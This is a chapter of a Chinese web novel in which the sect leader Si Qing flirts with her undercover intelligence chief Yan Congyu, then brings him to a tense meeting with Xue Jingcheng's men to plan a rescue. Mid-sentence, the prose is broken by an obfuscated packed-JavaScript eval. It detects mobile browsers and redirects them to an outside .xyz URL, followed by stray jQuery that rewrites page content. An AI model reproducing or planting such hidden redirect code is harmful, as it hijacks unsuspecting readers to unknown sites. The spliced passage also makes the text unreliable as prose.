没想到的是,厌从瑜却没有正面回答司清的话,转而一笑道。
“堂主这是在担心在下么?”
见他这般没有正形,司清更是不禁伸出手捏了捏他的脸蛋,看着他那张不以为意的笑脸,司清以示惩戒地加重了手上的力度,她没好气地道。
“你说呢?”若是不干紧要之人,她也不必这么上心了。
厌从瑜也心知她这是在关心自己,因而他笑了笑,求饶般的口吻道。
“伸手不打笑脸人。堂主这般……可是弄疼在下了。”末了,厌从瑜又话锋一转,缓缓抬起那双好看的眸子,眼含笑意地看向司清。“堂主舍得?”
司清自然是知道自己下手轻重,见厌从瑜又这般逗弄于她,更是不禁勾唇一笑道。
“舍得,怎么会舍不得呢?”说完,司清的手又不动声色地移到厌从瑜的下巴处,将他的脸猛地挑起,司清眯了眯眼,看着他故意冷笑道。“哼,我可不是什么怜香惜玉的好人,最擅长辣手摧花了。”
说完,司清的指尖还不动声色地轻轻蹭过厌从瑜的下颚,指尖温热的触感若有似无,让厌从瑜不禁道心一乱。
厌从瑜笑而不语,随即伸出手将司清将欲收回的手拉回,在司清意外的目光下,厌从瑜将自己的脸轻轻靠了上去,缓缓抬眸看向司清,笑意不减道。
“如果是堂主的话,在下也只好勉为其难地被辣手摧花了。”
听其言的司清不禁失笑,以迅雷不及掩耳之势在厌从瑜面颊上轻轻落下一吻。
随后目光如炬地看着他,玩笑道。
“辣手摧花,也要看本堂主心情。”
“那在下就只能恭候了。”虽然司清只是轻轻一吻,但厌从瑜却也是宛若得到莫大满足一般,嘴角不自觉上扬。
随后的司清便起身走到门外,喊来令诚瑛,打算将他引见至处,商讨一下具体的对策。
“诚瑛,你去召集一下你家的要部回厢房,待会我们在那儿商谈一下如何营救你哥。”
听到这个消息,匆匆赶过来的令诚瑛眼睛都亮了,她一口应下,随后放下手上的所有事情,迫不及待地跑去报信。
“好!”话音未落,转眼间令诚瑛便溜得没影,司清看着她的背影摇头叹了口气,随后才转身看向待在原位的厌从瑜道。“你待会跟我一起过去吧。”
没想到,听到这话的厌从瑜面上却闪过一抹惊讶之色,似乎是有些意外司清的决定。
“你确定,在下也要一起去么?”不是他不敢去他们那里,只是司清突然这番让他插手自己的事情,倒是有些不符合她的性子了。
不过话又说回来,听到司清这番话,厌从瑜心下也是有些许动容,看着司清的双眸更是多了分不自知的柔情。
面对心思如此缜密的厌从瑜,司清却是没有想那么多,她点了点头,随后道。
“嗯,反正,他们已经加入我麾下,你们早晚都会见面的。”
既然她和厌从瑜已经明了了心意,她也没有什么再好瞒着他的。况且双方直接沟通,效率更高,让他们打个照面,到时候也好免得误伤了他。
既然司清开了口,纵使心下依然预料到了什么的厌从瑜也只是默默地点了点头,没有再说些什么。
只要是她让他去的,他去就是了。
·
厢房处,
众人围坐在桌前,翘首以待司清的出现,终于在夜色即将落下之时,等来了司清。
司清让云竹和月影在外边盯梢,扫视众人一眼后,大步走了进来。
“人都到齐了?事不宜迟,那我们就开始吧……”
然而司清话音未落,伴随着身后厌从瑜的走进,房间内的氛围顿时凝重到了极点。
只见一个黑色身影从司清身旁闪过,直直朝着厌从瑜道面门揍去——那人正是平日里最为稳重的薛敬成。
看见那个让他痛失家人的身影出现在这里,他也不禁一时气血上头,任凭冲动驱动他身,朝厌从瑜挥去拳。
他没想到,在他的拳头即将迎面打在对方脸上之际,那人却丝毫未躲闪半步,而是直直站在他的面前,就这么静静地看着他。
那眼神坦然,无畏,更像是早有预料,让薛敬成像蓦然回过神清醒一般,停下了动作。
薛敬成这般,其他的兄弟却并没有买账,见他的手停在半空中,其他的兄弟也是看在眼里急在心里。
“敬成,你打他啊!给那些死去的同胞们出出气!”“你怕得罪人就放着我来。”
司清见局势一些有些混乱,便立马出来阻止这一切。正当她想开口之时,没想到厌从瑜却先她一步。
在众人的注目下,厌从瑜缓缓开口道。“你打吧,如果能让你们出气的话。”
说完的厌从瑜缓缓阖上眸子,似乎早已做好了接受这番审判的准备。
毕竟就算再怎么说,也是他追杀了他们,对他们动了手,他无话可说。
听到厌从瑜的话,全场陷入了沉默。
紧接着,为了打破僵局,见状的司清也是清了清嗓子,将厌从瑜拉至身后,与此同时默默将薛敬成的拳头按下。
见司清这般,纵使薛敬成心中有气,也不好再说什么,只是移开自己的目光,不再看那让他气愤的来源。
在她身后的厌从瑜看着司清道背影,也是一时垂眸不语。毕竟她这般维护他,让他又怎能不动容。
“好了,都怪我,没来得及向你们介绍,这位也是我们牵机阁在贺府埋藏多年的卧底——情报堂堂主,厌从瑜。”
在听清厌从瑜的身份后,在场之人不禁露出了惊诧的神色,就连瞥过去不看他的薛敬成闻声也不禁侧目,开始重新打量起了厌从瑜。
他们确实没有想到,当初那个让他们恨得咬牙切齿的太尉党羽,竟然是自己人。
见众人神色各异,司清继续缓缓道来道。
“你们之间的渊源,我也知晓。之前他也是在这里打探情报,替太尉做事,不是故意要加害于诸位的,相信诸位也能明白,真正的敌人是谁。”司清的言外之意,便是让大家齐心协力一同对付那太尉。
当然,全场有也且只有她能说出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497169|154061||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这番话,而双方也都能卖她个面子。
薛敬成自然也是明白司清所说的道理的,可当时他看见厌从瑜出现在这里之时,他还是忍不住出了手,好在厌从瑜也没有怪罪于他,而是坦然接受,倒是让当时的他有些刮目相看。
见众人面容有些松动,只是依旧沉默不语,司清心下也立马知晓,他们是明白事理的,只是刚才那般剑拔弩张,一时之间有些下不来台。
因而她倒也没有强求于人,只是笑了笑,化干戈为玉帛道。
“若是诸位看得起我,就还请诸位卖我个薄面,入座吧。”
一旁的令诚瑛也不禁点了点头,附和道。“是啊。大家就坐下吧。”
起初的她虽然也和他们的心情一般同仇敌忾,但在司清的说服下,又念及自己兄长的安危,这才帮着司清出言劝阻众人道。
“今日他们是来商量救哥哥的,不是来找茬子的。大家不应该纠结于过去的恩怨,当务之急是救人啊。”
有令诚瑛的劝说,再加上有司清收留,肯替他们报仇的恩情在,面露凝色的薛敬成纠结了半晌,终究还是坐了下来。
厌从瑜更加是不必多说,不计前嫌,没有再多说一句话。
其他的兄弟见头头的薛敬成表了态,虽然沉默不语,但却在司清入座之际也给厌从瑜搬来了一张椅子,算是对他的认可。
厌从瑜倒也没有因为刚才之事对对方生了嫌隙,对那位给他搬来椅子的年轻小伙道了声多谢。
司清见状,也是向他投去了感激的目光,她就知道,厌从瑜是个靠得住的。
而闻声的那小伙看了厌从瑜一眼,也没有多说什么,而是默默回到自己的座位坐下。
在众人都入座后,薛敬成像想起什么似的,突然开口道。
“所以,你当初指的消息来源,便是他,对么。”他低沉着声音,目光直直看向桌对面的司清,似乎理顺了事情的来龙去脉。
面对薛敬成的质问,司清倒也也没藏着掖着,她点了点头,缓缓道。
“不错。”紧接着,司清话语一顿,说明了自己的来意。“今日我来,便是想与诸位一同共商大计,里应外合解救出令诚步来。”“不过看你们这番,想来到时候演起戏来也是万无一失。”
司清这番玩笑话,无疑让在场紧张的气氛缓和了些许。
“自然。”这一番谈话下来,薛敬成也恢复了理智,顺着她的台阶下了。他的其他兄弟们见他如此,也是纷纷点头附和。毕竟冷静下来,厌从瑜能够不计前嫌的帮助他们,也算是个分得清事理之人。
“只要是能救少主出来,什么都好说。”“不要说是演戏了,就算是让老子真刀真枪的扛伤也在所不辞,老子的肌肉可硬着呢。”说着,那壮汉还拍了拍自己的肌肉,一脸的骄傲。
见此,在场的众人也不禁笑出了声。
看着事情终于步上正轨,司清心下也是松了口气,她点了点头,随后看向一旁看得认真的厌从瑜,将话题引向他。
“不错,那就让厌堂主跟你们说一下具体的计划跟时间。”